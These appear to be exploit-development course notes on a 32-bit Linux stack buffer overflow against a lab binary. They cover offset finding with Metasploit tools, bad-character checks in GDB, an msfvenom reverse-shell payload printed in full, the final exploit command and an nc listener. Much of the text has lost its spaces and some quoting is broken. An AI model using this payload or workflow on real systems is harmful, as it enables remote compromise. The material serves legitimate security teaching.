One of the most important aspects of a stack-based buffer overflow is to get the instruction pointer (EIP) under control, so we can tell it to which address it should jump. This will make the EIP point to the address where our shellcode starts and causes the CPU to execute it.
Determine the Offset
The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.
Create pattern
Shellcode is a program code that contains instructions for an operation that we want the CPU to perform. The manual creation of the shellcode will be discussed in more detail in other modules. But to save some time first, we use the Metasploit Framework (MSF) that offers a Ruby script called βpattern_createβ that can help us determine the exact number of bytes to reach the EIP. It creates a unique string based on the length of bytes you specify to help determine the offset.
β―/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l1200>pattern.txtcatpattern.txtAa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9# GDB using the generated payload(gdb) run $(python-c"print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'") Theprogrambeingdebuggedhasbeenstartedalready.Startitfromthebeginning? (y orn) yStartingprogram:/home/student/bow/bow32 $(python-c"print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")ProgramreceivedsignalSIGSEGV,Segmentationfault.0x69423569in?? ()# GDB - EIP(gdb) inforegisterseipeip0x694235690x69423569# CALCULATING THE OFFSET# We see that the EIP displays a different memory address, and we can use another MSF tool called "pattern_offset" to calculate the exact number of characters (offset) needed to advance to the EIP.
β―/usr/bin/ruby/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb-q0x69423569[*] Exact match at offset 1036
If we now use precisely this number of bytes for our "U"s, we should land exactly on the EIP. To overwrite it and check if we have reached it as planned, we can add 4 more bytes with "\x66" and execute it to ensure we control the EIP.
The EIP has been overwritten with our \x66 characters.
Next, we have to find out how much space we have for our shellcode, which then executes the commands we intend. As we control the EIP now, we will later overwrite it with the address pointing to our shellcode's beginning.
Examine the register and find the address of EBP
(gdb) inforegistersebpebp0x555555550x55555555
Determine the Length for Shellcode
We have to find out approximately how big our shellcode will be that we will insert, and for this, we will use msfvenom.
Look at the whole main function to set a breakpoint at the corresponding function so that the execution stops at this point and we can analyze the memory's content :
(gdb) disasmain# setting the breakpoint at the function(gdb) breakbowfunc# send chars(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
# look at the stack(gdb) x/2000xb $esp+500# identify all bad characters - look where the chars start# adjust the number of chars from the one who are bad# Substract the number of removed characters# Buffer = "\x55" * (1040 - 255 - 4) = 781# "\x00" removed: 256 - 1 = 255 bytes# CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"# EIP = "\x66" * 4# send without the null byte(gdb) run $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
# the stackx/2000xb $esp+550# check for other bad chars ... etc
Generate shellcode
msfvenom
# syntahxmsfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>
# real commandmsfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
# content of shellcodeβ―catshellcodeunsignedcharbuf[]="\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9""\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69""\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44""\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84""\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8""\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6""\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d";# Now that we have our shellcode, we adjust it to have only one string, and then we can adapt and submit our simple exploit again.
# Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817# NOPs = "\x90" * 124# Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"# EIP = "\x66" * 4'# EXPLOIT(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + ""\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d"" + "\x66" * 4')
# reverse shell nc-lvnp31337